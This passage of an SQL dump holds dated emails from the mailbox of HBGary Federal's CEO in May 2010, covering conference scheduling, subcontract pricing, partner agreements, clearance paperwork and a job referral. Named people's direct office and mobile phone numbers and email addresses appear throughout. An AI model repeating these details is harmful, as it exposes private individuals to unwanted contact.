them.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nTamika\r\nLee,\r\n\r\nREBL\r\nStaff\r\n\r\n410.854.2276\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10596,'aaron_hbgary_com/10596.html'),(6612,'2010-05-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004774.M348032P14101Q1468.eml','\"Paul Rooney\" <prooney3@csc.com>','Time to DIscuss','Hi Paul,\r\n\r\nDo you have time to talk for a few minutes today?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15325,'aaron_hbgary_com/15325.html'),(6613,'2010-05-24','\"Paul Rooney\" <prooney3@csc.com>','/aaron@hbgary.com/new/1297004774.M589390P14101Q1469.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Time to DIscuss','I have 11 to 1 free and then after 4. Does that work?\r\n\r\nPaul\r\nPaul Rooney\r\nProoney3@csc.com\r\n443-445-7303 Office\r\n410-562-7317 Biz Cell\r\nMeg Droegemeyer, Exec Assistant\r\n443-445-7185\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose.\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: 05/24/2010 08:47 AM AST\r\nTo: Paul Rooney\r\nSubject: Time to DIscuss\r\n\r\n\r\n\r\nHi Paul,\r\n\r\nDo you have time to talk for a few minutes today?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2773,'aaron_hbgary_com/2773.html'),(6614,'2010-05-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004774.M815922P14101Q1470.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Google APPs as Future IRADS','I have not attended the conference before. &nbsp;Apps in general, meaning the new type of application development, small, tailored, built around a mobile platform, should be on everyones radar for IRAD. &nbsp;These new apps enabled by the new platforms, bring new, more efficient capabilities to the consumer, the enterprise, and the battlefield.AaronOn May 20, 2010, at 12:21 PM, Clair, Chris (TASC) wrote:\r\n\r\nInteresting development.&nbsp; Ever been to the developer conference mentioned?Chris_____________________________________________\r\nFrom: Newbern, David W (TASC)\r\nSent: Thursday, May 20, 2010 12:17 PM\r\nTo: Rademacher, Michael B (TASC)\r\nCc: Thurn, Martin (TASC); Clair, Chris (TASC); Hyde, Stephen R (TASC)\r\nSubject: Google APPs as Future IRADSMike:&nbsp; You are probably ahead of me on this one already . . .Below paragraph from Connected Planet underscores potential use of Google APPs as a new business area for IRADs.&nbsp; Google is all over the world (except China) . . .&nbsp; DaveGoogle makes bid to dominate location by sending it into the cloudby Rich KarpinskiMay 20th, 2010\r\nIt’s not as if Google hasn’t been lining up its mobile/location-based ducks in a row for some time now. From the Android OS to Google Maps to the integration of local results into its core search engine results, Google has been making the shift from having mobile rather than desktop access sit at the very center of its business for some time now. At the Google I/O developer conference this week, the search giant released a series of APIs that could serve as the engine that shifts its location ambitions into overdrive. At the center of its efforts is a new API for its Latitude service that lets users share and developers access information about a user’s location.\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12965,'aaron_hbgary_com/12965.html'),(6615,'2010-05-24','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','/aaron@hbgary.com/new/1297004774.M87167P14101Q1467.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: REBL 10 Briefing','Aaron,\r\n\r\nNo problem.  I have you on the agenda for Tuesday.\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, May 24, 2010 8:40 AM\r\nTo: Scott K. Brown\r\nSubject: Re: REBL 10 Briefing\r\n\r\nHi Scott,\r\n\r\nI spoke with penny about the first conference and our speaking engagements\r\nwith you.  Just a last minute worry over the weekend.  I would like to keep\r\nthe Tuesday slot.  Sorry for my confusion.\r\n\r\nThank you,\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 24, 2010, at 6:25 AM, \"Scott K. Brown\" \r\nwrote:\r\n\r\n> Aaron,\r\n>\r\n> Do you need me to move you back to Thursday?\r\n>\r\n> Scott\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Sunday, May 23, 2010 5:01 PM\r\n> To: Scott K. Brown\r\n> Subject: Re: REBL 10 Briefing\r\n>\r\n> Scott,\r\n>\r\n> Is the Thursday spot already full?\r\n>\r\n> Sorry for asking.\r\n>\r\n> Forgot about the first conference.\r\n>\r\n> From my iPhone\r\n>\r\n> On May 21, 2010, at 4:43 PM, \"Scott K. Brown\" \r\n> wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Moved your brief to Tuesday.  Since the auditorium track was already \r\n>> full, I had to put you in one of the classrooms that hold up to 52 \r\n>> attendees.  I\'ve been asking our classroom briefers to offer their \r\n>> talks twice, usually back to back.  If you agree, then your talks \r\n>> would be at 1:30 and 2:30 (50 minutes each with 10 minute break in \r\n>> between).  Your second talk would end at 3:20 and Greg\'s talk would \r\n>> start at 3:30.\r\n>>\r\n>> Scott\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Friday, May 21, 2010 4:36 PM\r\n>> To: Scott K. Brown\r\n>> Cc: bob@hbgary.com\r\n>> Subject: Re: REBL 10 Briefing\r\n>>\r\n>> Scott,\r\n>>\r\n>> If you can that would be great.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n>>\r\n>> On May 21, 2010, at 2:27 PM, \"Scott K. Brown\" \r\n>> \r\n>> wrote:\r\n>>\r\n>>> Bob,\r\n>>>\r\n>>> Yesterday you mentioned that you might want Greg to speak on Tuesday \r\n>>> afternoon instead of Thursday afternoon.  Please let me know.\r\n>>>\r\n>>> Aaron, if that happens, I can possibly move your talk to Tuesday as \r\n>>> well.\r\n>>>\r\n>>> Scott K. Brown\r\n>>> Technical Director\r\n>>> NSA Blue Team\r\n>>> (410) 854-6529\r\n>>> sbrown@dewnet.ncsc.mil\r\n>>>\r\n>>>\r\n',6751,'aaron_hbgary_com/6751.html'),(6616,'2010-05-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004775.M337285P14101Q1472.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: Fidelis follow up from today','Got distracted late last week. &nbsp;Getting to all of this right now so we can get going.HBGary and Penny own the majority of HBGary Federal. &nbsp;But we can fill it out to be covered.I would like to just BS for a bit sometime on SN. &nbsp;I think they, along with the migration of platforms changes the security model quite a bit, and we haven\'t even got the last model down yet. &nbsp;I think I told you I am giving a talk at the NSA REBL conference in a few weeks on Social Networks and their vulnerabilities to organizations, so such a conversation could probably help my talk as well.AaronOn May 19, 2010, at 11:00 PM, Etue, David wrote:I’m rallying the troops internally to support making what I’ll call “Scout + leave behind” happen.&nbsp; I should have a message with all of the details to you tomorrow.&nbsp;&nbsp;In the interim, we should sort of if we need to get a partner agreement in place specific to HB Gary Federal.&nbsp; If HB Gary, Inc doesn’t voting control and majority ownership, we probably do.&nbsp; I’ve attached our NDA and partnership agreement, as well as the signed copy of the partner agreement with HB Gary, Inc for your reference.&nbsp; (If you could change the agreement to reflect the legal name for HB Gary Federal.&nbsp; I’m recalling HB Gary Federal, LLC, but not positive…)&nbsp; Once we have this, it’s easy to get you the VMs.&nbsp;&nbsp;As I mentioned, here is a blog post that is going out tomorrow on the social networking stuff -http://www.fidelissecurity.com/node/193, and I also attached the white paper.&nbsp; It briefly touches on the interesting conversation we were having when I had to run to catch my 3 PM meeting.&nbsp; There should be a eBizQ podcast and FCW op-ed piece up this week too.&nbsp;Finally, this is the follow up articles to the cyber lecture I attended last week.&nbsp; Nothing mind blowing to some in the field, but still some interesting thoughts in it.&nbsp;&nbsp;http://theintersection.ogilvypr.com/2010/05/highlights-from-james-miller-speech-on-us-cybersecurity/&nbsp;David&lt;04071000.pdf&gt;&lt;Fidelis Security Systems - How Government Agencies Can Leverage the Power of Social Networking While Mitigating Risk.pdf&gt;&lt;Fidelis Security Systems Mutual Non-Disclosure Agreement.pdf&gt;From:&nbsp;\"Etue, David\" &lt;david.etue@fidelissecurity.com&gt;Date:&nbsp;March 17, 2010 9:20:54 PM EDTTo:&nbsp;\"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Cc:&nbsp;\"Bertone, Kurt\" &lt;kurt.bertone@fidelissecurity.com&gt;Subject:&nbsp;Fidelis TAP Agreement Rev 012010 - HB GaryPenny,&nbsp;Based on our conversations, I created a draft of our partner program agreement.&nbsp; It is written without cost, based on exchange of our products for testing and you using our VM-based appliances (instead of hardware appliances that have direct materials costs.)&nbsp;&nbsp;Please let me know your thoughts.&nbsp; I’ve cc’d Kurt Bertone who leads our Strategic Alliances program who can help with any feedback on the program or agreement.&nbsp;Thanks!David&nbsp;&nbsp;Fidelis Security SystemsDavid Etue, CIPP/GVP, Products and Markets4416 East West Highway, Suite 310Bethesda, MD 20814david.etue@fidelissecurity.comhttp://www.fidelissecurity.comtel:&nbsp;fax:&nbsp;mobile:(240) 396-2445&nbsp;&lt;image001.gif&gt;(301) 652-7097(202) 669-3628&nbsp;&lt;image001.gif&gt;Always have my latest infoWant a signature like this?&nbsp;&nbsp;&nbsp;&lt;Fidelis TAP Agreement Rev 012010 - HB Gary.doc&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2826,'aaron_hbgary_com/2826.html'),(6617,'2010-05-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004775.M80837P14101Q1471.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Clearances','You can add Eric, but since he is in Colorado Springs, likely won\'t be able to attend often, but for certain meetings or targets of opportunity it would be very beneficial. &nbsp;If his management approves, having his help throughout the proposal will be very helpful as he is intimately familiar with the players and the environment. &nbsp;Best to have more than one voice, especially since mine can be rather opinionated from time to time. :)Mark is with HBGary Federal but used to work for this customer.Let me know what you need to process.AaronOn May 19, 2010, at 8:58 PM, Clair, Chris (TASC) wrote:\r\n\r\nHey Aaron,\r\n\r\nI believe we can pass some additional clearances through.&nbsp; I will see my COTR on Monday and can ask.&nbsp; We\'ll see what we can get.&nbsp; Should I add Eric onto the COIN meetings?&nbsp; It\'s real easy as no NDA is needed.&nbsp; Is Mark part of your company too?\r\n\r\nLet me know.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wed 5/19/2010 8:29 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Ted Vera\r\nSubject: Clearances\r\n\r\nHey chris.&nbsp; I don\'t know how deep the well is but Eric Hallam just\r\njoined TASC.&nbsp; He was the \"accountant\" i was telling you about.&nbsp; He\r\nknows a lot about the customer initiatives of recent.&nbsp; Also mark\r\nTrynor which is our guy that was a lead software developer and managed\r\nthe development of many of the technical projects.&nbsp; Ted said he will\r\nget his sf86 done this week. :)\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8275,'aaron_hbgary_com/8275.html'),(6618,'2010-05-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004776.M838685P14101Q1473.eml','\"Kathy Warden\" <kathy.warden@ngc.com>,\"Jeff Yu\" <jeff.yu@ngc.com>','Cyber Talent','Hi Kathy/Jeff,\r\n\r\nI hope all is well.  Kathy, if you are attending any of the ExecutiveBiz functions next month I look forward to catching up.  Jeff, I would like to catch up some time when your in town.\r\n\r\nAttached is the resume for David Etue.  I have come to know him over the last six months as his company, Fidelis, partners with HBGary to deliver better host and perimeter security solutions.\r\n\r\nAfter working for a number of years helping Fidelis build a successful company and product line, he is ready for a change.  He would like to work for one of the larger integrators for the experience and exposure they can offer.  He is very talented, driven, and knowledgeable.  I highly recommend him for either of your organizations.\r\n\r\n',12787,'aaron_hbgary_com/12787.html'),(6619,'2010-05-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004777.M75529P14101Q1474.eml','\"Paul Rooney\" <prooney3@csc.com>','Re: Time to DIscuss','Sure can I call you @ 11?\r\nAaron\r\n\r\nOn May 24, 2010, at 8:50 AM, Paul Rooney wrote:\r\n\r\n> I have 11 to 1 free and then after 4. Does that work?\r\n> \r\n> Paul\r\n> Paul Rooney\r\n> Prooney3@csc.com\r\n> 443-445-7303 Office\r\n> 410-562-7317 Biz Cell\r\n> Meg Droegemeyer, Exec Assistant\r\n> 443-445-7185\r\n> \r\n> \r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose.\r\n> \r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: 05/24/2010 08:47 AM AST\r\n> To: Paul Rooney\r\n> Subject: Time to DIscuss\r\n> \r\n> \r\n> \r\n> Hi Paul,\r\n> \r\n> Do you have time to talk for a few minutes today?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14962,'aaron_hbgary_com/14962.html'),(6620,'2010-05-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004778.M908497P14101Q1475.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,','Re: HBGary Federal GDAIS Request for Proposal for FBI IAS ESOC Effort','Kim,\r\n\r\nLet me or Ted know if you have any questions or comments on our pricing.  We would prefer to staff the more senior person but have included rates for a lower person to provide you flexibility in final pricing.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn May 23, 2010, at 8:54 AM, Hoagland, Kimberly A. wrote:\r\n\r\n> Good morning,\r\n>  \r\n> As part of your RFP package, please review, complete and return the attached pricing template no later than Noon, Monday, May 24. \r\n>  \r\n>  \r\n> Thank you, \r\n>  \r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts \r\n> General Dynamics Advanced Information Systems, Inc.\r\n>  \r\n> Mailing Address:\r\n>  10925 Pump House Road\r\n>  Annapolis Junction, MD 20701\r\n> Physical Address:\r\n>  2721 Technology Drive\r\n>  Annapolis Junction, MD  20701\r\n>  \r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>  \r\n> P please consider the environment before printing this email\r\n> This e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n>  \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11812,'aaron_hbgary_com/11812.html'),(6621,'2010-05-24','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004779.M170083P14101Q1476.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary Federal GDAIS Request for Proposal for FBI IAS ESOC Effort','They need the xls file tooOn May 24, 2010, at 8:09 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Kim,Let me or Ted know if you have any questions or comments on our pricing. &nbsp;We would prefer to staff the more senior person but have included rates for a lower person to provide you flexibility in final pricing.Aaron&lt;HBGary FBI ESOC.pdf&gt;On May 23, 2010, at 8:54 AM, Hoagland, Kimberly A. wrote:Good morning,&nbsp;As part of your RFP package, please review, complete and return the attached pricing template no later than Noon, Monday, May 24.&nbsp;&nbsp;&nbsp;Thank you,&nbsp;&nbsp;Kimberly HoaglandSr. Specialist-Subcontracts&nbsp;General Dynamics Advanced Information Systems, Inc.&nbsp;Mailing Address:&nbsp;10925 Pump House Road&nbsp;Annapolis Junction, MD 20701Physical Address:&nbsp;2721 Technology Drive&nbsp;Annapolis Junction, MD&nbsp; 20701&nbsp;(240) 294-2275 (v)(240) 294-2181 (f)kimberly.hoagland@gd-ais.com&nbsp;P&nbsp;please consider the environment before printing this emailThis e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.&nbsp;&lt;Cost Template for Subcontractors.xlsx&gt;&lt;Schedule 70 LCAT Descriptions.pdf&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3324,'aaron_hbgary_com/3324.html'),(6622,'2010-05-24','\"Paul Rooney\" <prooney3@csc.com>','/aaron@hbgary.com/new/1297004779.M445673P14101Q1477.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Time to DIscuss','Yup\r\nPaul Rooney\r\nProoney3@csc.com\r\n443-445-7303 Office\r\n410-562-7317 Biz Cell\r\nMeg Droegemeyer, Exec Assistant\r\n443-445-7185\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose.\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: 05/24/2010 10:04 AM AST\r\nTo: Paul Rooney\r\nSubject: Re: Time to DIscuss\r\n\r\n\r\n\r\nSure can I call you @ 11?\r\nAaron\r\n\r\nOn May 24, 2010, at 8:50 AM, Paul Rooney wrote:\r\n\r\n> I have 11 to 1 free and then after 4. Does that work?\r\n>\r\n> Paul\r\n> Paul Rooney\r\n> Prooney3@csc.com\r\n> 443-445-7303 Office\r\n> 410-562-7317 Biz Cell\r\n> Meg Droegemeyer, Exec Assistant\r\n> 443-445-7185\r\n>\r\n>\r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose.\r\n>\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: 05/24/2010 08:47 AM AST\r\n> To: Paul Rooney\r\n> Subject: Time to DIscuss\r\n>\r\n>\r\n>\r\n> Hi Paul,\r\n>\r\n> Do you have time to talk for a few minutes today?\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6543,'aaron_hbgary_com/6543.html'),(6623,'2010-05-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004779.M666764P14101Q1478.eml','\"Ted Vera\" <tedvera@me.com>','Re: HBGary Federal GDAIS Request for Proposal for FBI IAS ESOC Effort','Tks forgot that one.Sent from my iPadOn May 24, 2010, at 10:09 AM, Ted Vera &lt;tedvera@me.com&gt; wrote:\r\nThey need the xls file tooOn May 24, 2010, at 8:09 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nKim,Let me or Ted know if you have any questions or comments on our pricing.  We would prefer to staff the more senior person but have included rates for a lower person to provide you flexibility in final pricing.\r\nAaron&lt;HBGary FBI ESOC.pdf&gt;\r\nOn May 23, 2010, at 8:54 AM, Hoagland, Kimberly A. wrote:\r\nGood morning,\r\n \r\nAs part of your RFP package, please review, complete and return the attached pricing template no later than Noon, Monday, May 24. \r\n \r\n \r\nThank you, \r\n \r\nKimberly Hoagland\r\nSr. Specialist-Subcontracts \r\nGeneral Dynamics Advanced Information Systems, Inc.\r\n \r\nMailing Address:\r\n 10925 Pump House Road\r\n Annapolis Junction, MD 20701\r\nPhysical Address:\r\n 2721 Technology Drive\r\n Annapolis Junction, MD  20701\r\n \r\n(240) 294-2275 (v)\r\n(240) 294-2181 (f)\r\nkimberly.hoagland@gd-ais.com\r\n \r\nP please consider the environment before printing this email\r\nThis e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n &lt;Cost Template for Subcontractors.xlsx&gt;&lt;Schedule 70 LCAT Descriptions.pdf&gt;\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',12365,'aaron_hbgary_com/12365.html'),(6624,'2010-05-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004781.M610052P14101Q1479.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','Re: HBGary Federal GDAIS Request for Proposal for FBI IAS ESOC Effort','sorry missed one.\r\n\r\n\r\n\r\nAaron\r\n\r\nOn May 23, 2010, at 8:54 AM, Hoagland, Kimberly A. wrote:\r\n\r\n> Good morning,\r\n>  \r\n> As part of your RFP package, please review, complete and return the attached pricing template no later than Noon, Monday, May 24. \r\n>  \r\n>  \r\n> Thank you, \r\n>  \r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts \r\n> General Dynamics Advanced Information Systems, Inc.\r\n>  \r\n> Mailing Address:\r\n>  10925 Pump House Road\r\n>  Annapolis Junction, MD 20701\r\n> Physical Address:\r\n>  2721 Technology Drive\r\n>  Annapolis Junction, MD  20701\r\n>  \r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>  \r\n> P please consider the environment before printing this email\r\n> This e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n>  \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9513,'aaron_hbgary_com/9513.html'),(6625,'2010-05-24','\"Courtney Augustine\" <CAugustine@infoblox.com>','/aaron@hbgary.com/new/1297004782.M242269P14101Q1481.eml','aaron@hbgary.com','Join our Discussion on the IT Automation Imperative','\r\n\r\nLearn how Network Automation Can Reduce Costs and Increase Productivity\r\nA:link {\r\n	COLOR: #104a7a\r\n}\r\nA:visited {\r\n	COLOR: #104a7a\r\n}\r\nA:hover {\r\n	COLOR: #ff9900\r\n}\r\nA:active {\r\n	COLOR: #104a7a\r\n}\r\n.style1 {\r\n	FONT-FAMILY: Arial, Helvetica, sans-serif; FONT-SIZE: 12px\r\n}\r\n.style2 {\r\n	FONT-SIZE: 10px\r\n}\r\n.style5 {\r\n	FONT: 18px/21px Arial; COLOR: #104a7a\r\n}\r\n.style6 {\r\n	COLOR: #666666; FONT-WEIGHT: bold\r\n}\r\n.style7 {\r\n	FONT-FAMILY: Arial; FONT-SIZE: 10pt\r\n}\r\n.style8 {\r\n	FONT-FAMILY: Arial; COLOR: #fff; FONT-SIZE: 8pt; VERTICAL-ALIGN: middle\r\n}\r\n\r\n\r\n\r\n\r\n\r\nIf you are having trouble reading this email, read the online version.\r\n\r\n\r\n \r\n \r\nNot automating critical&nbsp;IT functions&nbsp;is the equivalent of a slow water leak you never knew you had, literally pouring IT resources and budget down the drain.&nbsp; And, it can compromise the successful deployment of your key initiatives (i.e., going green, reducing costs, achieving security and compliance) and applications (i.e. virtualization, cloud, IPv6 and others) with brittle, manually intensive network infrastructure and services. \r\n\r\nAttend this 30-minute webinar with Forrester, Infoblox and US Bank to learn where to start introducing network automation into your organization so you can: \r\n\r\nAddress Hidden IT Costs \r\nSupport Key Initiatives \r\nAchieve Operational Optimization \r\nApply IT Resources More StrategicallyDate & Time: 8:00 a.m. PDT/11:00 a.m EDT&nbsp;June 2, 2010Speakers: \r\n\r\n\r\n\r\n\r\n\r\n\r\nGlenn O\'DonnellSenior AnalystForrester Research Inc. \r\n\r\n\r\nEric L. CummingsVice President Product OperationsUS Bank\r\n© 2010 Infoblox Inc. All rights reserved. \r\n1 \"The Shifting Sands Of IT Compel A New Landscape For IT Automation Tools,\" Forrester Research, Inc., October 2009.You are receiving this email because you have requested information from us in the past or have requested information from one of our trusted partners. If you would like to change your communications preferences or no longer receive mailings from Infoblox, please use the &nbsp;unsubscribe link , or write us at Infoblox, 4750 Patrick Henry Dr., Santa Clara, CA 95054 USA.\r\n\r\n\r\n',11572,'aaron_hbgary_com/11572.html'),(6626,'2010-05-24','\"IA Events\" <noReply@nsa.gov>','/aaron@hbgary.com/new/1297004782.M2778P14101Q1480.eml','aaron@hbgary.com','Sponsor Approved - 2010 Red Team/Blue Team Symposium – June 2010',' 	\r\n\r\n		\r\n\r\n\r\nYour sponsor has signed your NDA for the 2010 Red Team/Blue Team Symposium – June 2010.  You are now successfully registered.\r\n\r\nYou will receive an email reminder prior to the conference with all of your registration information and a confirmation number. Please be sure to print this and bring it with you to the conference to speed check in. \r\n\r\nThis registration does not include accommodations. You must reserve a hotel room separately by following the registration links from the Hotels section of the Conference Information page.\r\n\r\n	\r\n\r\nSincerely,\r\nThe IA Events Staff		\r\n\r\n\r\n',10763,'aaron_hbgary_com/10763.html'),(6627,'2010-05-24','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004784.M581661P14101Q1482.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,,,,','HBGary Federal GDAIS Request for Proposal for FBI IAS ESOC Effort','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nGood\r\nmorning,\r\n\r\n&nbsp;\r\n\r\nPlease\r\nreview and return the appropriate RFP documents to me no later than COB Today.&nbsp;\r\nIf you have any questions, please contact me.\r\n\r\n&nbsp;\r\n\r\nThank you,&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing Address:\r\n\r\n&nbsp;10925 Pump House Road\r\n\r\n&nbsp;Annapolis Junction, MD\r\n20701\r\n\r\nPhysical Address:\r\n\r\n&nbsp;2721 Technology Drive\r\n\r\n&nbsp;Annapolis Junction,\r\nMD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please\r\nconsider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8398,'aaron_hbgary_com/8398.html'),(6628,'2010-05-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004784.M874474P14101Q1483.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','Re: CEIC Conf next week','Hi Mike,Question for you. &nbsp;I understand the NANA positions for HQ are pretty much filled by existing team mates but there might be some opportunities to fill some positions in San Antonio? &nbsp;Do you know if that is correct? &nbsp;Any chance you could put me in contact with the PM?Thanks,AaronOn May 18, 2010, at 6:51 PM, Mulville, Michael E. wrote:Aaron and Bob –Will either of you be at the CEIC Conf next week.&nbsp;Let me know – and if not – anyone I could meet up with ?&nbsp;Thx - Mike&nbsp;&nbsp;Mike Mulville&nbsp;VP, Cyber CTOSAIC Cyber ProgramsMulvilleM@saic.comO/ 703.676.8381&nbsp; M/ 703.622.91211710 Saic Dr.McLean, VA 22102&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9757,'aaron_hbgary_com/9757.html'),(6629,'2010-05-24','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297004785.M105822P14101Q1484.eml','\"Aaron Barr\" <aaron@hbgary.com>','Out of Office AutoReply: CEIC Conf next week','\r\n\r\n\r\n\r\n\r\nOut of Office AutoReply: CEIC Conf next week\r\n\r\n\r\n\r\n\r\nI will be on business travel at a conference from May 24 through May 26th and will have periodic access to email.&nbsp; If you need immediate assistance, please contact the Cyber PMO.\r\n\r\n\r\n',12652,'aaron_hbgary_com/12652.html'),(6630,'2010-05-24','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004785.M849348P14101Q1485.eml','\"John Reed Stark\" <JStark@StrozFriedberg.com>,\"Ken Mendelson\" <KMendelson@StrozFriedberg.com>,\"Bill Lillard\" 